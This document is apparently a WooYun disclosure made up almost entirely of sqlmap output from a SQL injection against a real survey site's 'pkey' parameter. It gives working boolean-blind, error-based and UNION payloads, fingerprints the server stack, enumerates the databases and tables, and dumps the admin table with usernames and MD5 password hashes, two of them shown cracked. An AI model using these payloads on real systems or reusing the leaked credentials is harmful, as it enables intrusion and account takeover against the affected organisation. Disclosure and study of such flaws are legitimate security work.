WooYun.org

---
Parameter: pkey (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: pkey=1749' AND 9548=9548 AND 'lPAS'='lPAS
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: pkey=1749' AND (SELECT 6818 FROM(SELECT COUNT(*),CONCAT(0x7176627a71,(SELECT (ELT(6818=6818,1))),0x7178787871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'Xadm'='Xadm
    Type: UNION query
    Title: MySQL UNION query (42) - 29 columns
    Payload: pkey=-3660' UNION ALL SELECT 42,42,42,42,42,42,CONCAT(0x7176627a71,0x65614c7a525347564478,0x7178787871),42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42#
---
web server operating system: Linux CentOS 5.10
web application technology: Apache 2.2.3, PHP 5.2.17
back-end DBMS: MySQL 5.0

available databases [5]:
[*] elchk
[*] elchk_survey
[*] information_schema
[*] service
[*] webproject

Database: elchk_survey
[13 tables]
+------------------------------+
| tbl_admin                    |
| tbl_cms_photo                |
| tbl_enquiry_setting          |
| tbl_layout_background        |
| tbl_survey_answer            |
| tbl_survey_participant       |
| tbl_survey_question          |
| tbl_survey_question_template |
| tbl_survey_result            |
| tbl_survey_validation        |
| tbl_survey_visit             |
| tbl_sys_setup                |
| tbl_template                 |
+------------------------------+

Database: elchk_survey
Table: tbl_admin
[7 columns]
+---------------+--------------+
| Column        | Type         |
+---------------+--------------+
| isvalid       | varchar(50)  |
| lastlogindate | datetime     |
| login         | varchar(50)  |
| pkey          | int(11)      |
| pwd           | varchar(50)  |
| totlog        | int(11)      |
| user_type     | varchar(200) |
+---------------+--------------+

Table: tbl_admin
[3 entries]
+-------+------+------------------------------------------+
| login | pkey | pwd                                      |
+-------+------+------------------------------------------+
| admin | 1    | 21232f297a57a5a743894a0e4a801fc3 (admin) |
| igt   | 3    | 507611eed7d9462db2895835cd465b40         |
| user  | 2    | ee11cbb19052e40b07aac0ca060c23ee (user)  |
+-------+------+------------------------------------------+